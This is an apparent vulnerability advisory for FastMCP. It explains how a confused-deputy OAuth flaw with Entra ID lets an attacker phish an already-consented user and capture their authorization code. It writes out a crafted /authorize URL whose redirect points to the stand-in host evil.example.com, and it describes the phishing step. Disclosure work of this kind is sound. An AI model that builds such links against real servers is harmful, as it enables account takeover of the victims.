PT-2025-45698 · Pypi · Fastmcp
Published
2025-10-29
·
Updated
2025-10-29
CVSS v4.0
7.3
High
| Vector | AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
Summary
FastMCP documentation covers the scenario where it is possible to use Entra ID or other providers for authentication. In this context, because Entra ID does not support Dynamic Client Registration (DCR), the FastMCP-hosted MCP server is acting as the authorization provider, as declared in the Protected Resource Metadata (PRM) document hosted on the server.
For example, on a local MCP server, it may be hosted here:
http
http://localhost:8000/.well-known/oauth-protected-resourceAnd the JSON representation of the PRM document:
json
{
"resource": "http://localhost:8000/mcp",
"authorization servers": [
"http://localhost:8000/"
],
"scopes supported": [
"User.Read",
"email",
"openid",
"profile"
],
"bearer methods supported": [
"header"
]
}Notice that the
authorization servers field contains the MCP server itself - it acts as an OAuth Client to the downstream authorization server (e.g., Entra ID) and as a Authorization Server (AS) to the MCP client.The FastMCP server also hosts the AS metadata:
bash
http://localhost:8000/.well-known/oauth-authorization-serverWith the following content:
json
{
"issuer": "http://localhost:8000/",
"authorization endpoint": "http://localhost:8000/authorize",
"token endpoint": "http://localhost:8000/token",
"registration endpoint": "http://localhost:8000/register",
"scopes supported": [
"User.Read",
"email",
"openid",
"profile"
],
"response types supported": [
"code"
],
"grant types supported": [
"authorization code",
"refresh token"
],
"token endpoint auth methods supported": [
"client secret post"
],
"code challenge methods supported": [
"S256"
]
}All of this confirms that the FastMCP server is, in fact, handling the client-to-server authorization and then delegating the downstream effects (i.e., authorization with Entra ID) to its own redirect logic, with a call like this (as seen through MCP Inspector):
http
http://localhost:8000/authorize?response type=code&client id=fdec0bb8-3423-40d0-aa2a-73de26bf6f93&code challenge=2a9ZxAEr5NEsKPwFWuEFA1W-kFMXc-02u6qc8aLf g4&code challenge method=S256&redirect uri=http%3A%2F%2Flocalhost%3A6274%2Foauth%2Fcallback%2Fdebug&state=9f23fd47e2b8786b502f116bdbfd6ae3d7d2801167e24fea82f608bb52312bbd&scope=User.Read+email+openid+profile&resource=http%3A%2F%2Flocalhost%3A8000%2FmcpWhen using the built-in FastMCP
/authorize endpoint, and in the example above, FastMCP server configured with Entra ID, it will then redirect the user here:http
https://login.microsoftonline.com/412e93fe-74e5-4ee6-9b67-1eeb1c79550e/oauth2/v2.0/authorize?response type=code&client id=7bac43f2-ca62-4148-93a5-fd5686cb16c0&redirect uri=http%3A%2F%2Flocalhost%3A8000%2Fauth%2Fcallback&state=Tcv7bbg v0Qi69RHbCzqR4tQHSHKPQuDDxjuo0wu5qU&scope=User.Read+email+openid+profile&code challenge=bxICFAJDViuTTHIPUPdSXGLKbNbgPwiB-0ITXUJkjYM&code challenge method=S256&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp[!NOTE] In the scenario above, the app registration in Entra ID is set up in the FastMCP server, as outlined in the PoC below.
Notice that the client ID and redirect URIs in the
login.microsoftonline.com call are different than the initial /authorize call - that's because we're now switching to using the MCP server's static app registration instead of the DCR client details.Completing the authorization flow here for the first time for a user would trigger the Entra ID consent flow:
This consent flow is only showed the first time the user needs to use this application. Once the consent is set, they will never be prompted for this unless revoked.
This is where the vulnerability comes in. After the user consented and is authorized, Entra ID will set a browser cookie capturing the authorization state. This helps prevent nagging re-authorization prompts.
With the user consented to the static client for Entra ID that the FastMCP server exposes, they will now not be prompted the next time they need to use the same application ID.
Now, an attacker comes in - in their own MCP client (i.e., they maintain one at
https://evil.example.com) they start the authorization with the same remote MCP server and get to the point where the server produces their own authorization URI for this client ID:http
http://localhost:8000/authorize?response type=code&client id=9a5d63d0-3aa3-465c-b097-0e2e196392dd&code challenge=2F4Lbfppwd7xuynLT1y4Cy2Dac-S6HOO2B84itAwppw&code challenge method=S256&redirect uri=https%3A%2F%2Fevil.example.com%3A6274%2Foauth%2Fcallback%2Fdebug&state=221fab2ccdc1481511639c110ee7382445930e22be25396b01f32d973d7176dc&scope=User.Read+email+openid+profile&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp[!IMPORTANT] Note that the redirect URI above points to thehttps://evil.example.comclient.
At this point - they grab the URL and coerce the victim (user that already authenticated with Entra ID on their machine) to click on this link. This could be done through spam, spear-phishing, or any other traditional link sharing approaches. The moment the victim clicks on this link, they will be taken to the browser, where there is already a cookie set by Entra ID for the static Entra ID client that the MCP server is using. The DCR-d registered client ID that the FastMCP server is handling now got linked to the internal FastMCP authorization server, and the authorization code is returned to
https://evil.example.com.The user will be automatically speed-ran through the authorization flow (no prompts) and they will effectively give access to the MCP server to the attacker with their account. Attacker can now exchange the authorization code for a token and access the remote MCP server as the victim.
Details
See above - the outline covers the attack vector.
PoC
Standard documented sample that uses Entra ID:
python
from fastmcp import FastMCP
from fastmcp.server.auth.providers.azure import AzureProvider
# The AzureProvider handles Azure's token format and validation
auth provider = AzureProvider(
client id="f527ed01-9725-45bd-8173-8d3a017ba02f", # Your Azure App Client ID
client secret="#####~###### #######", # Your Azure App Client Secret
tenant id="412e93fe-74e5-4ee6-9b67-1eeb1c79550e", # Your Azure Tenant ID (REQUIRED)
base url="http://localhost:8000", # Must match your App registration
required scopes=["User.Read", "email", "openid", "profile"], # Microsoft Graph permissions
# redirect path="/auth/callback" # Default value, customize if needed
)
mcp = FastMCP(name="Azure Secured App", auth=auth provider)
# Add a protected tool to test authentication
@mcp.tool
async def get user info() -> dict:
"""Returns information about the authenticated Azure user."""
from fastmcp.server.dependencies import get access token
token = get access token()
# The AzureProvider stores user data in token claims
return {
"azure id": token.claims.get("sub"),
"email": token.claims.get("email"),
"name": token.claims.get("name"),
"job title": token.claims.get("job title"),
"office location": token.claims.get("office location")
}Impact
Potential for server account compromise.
Fix
Improper Authentication
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Fastmcp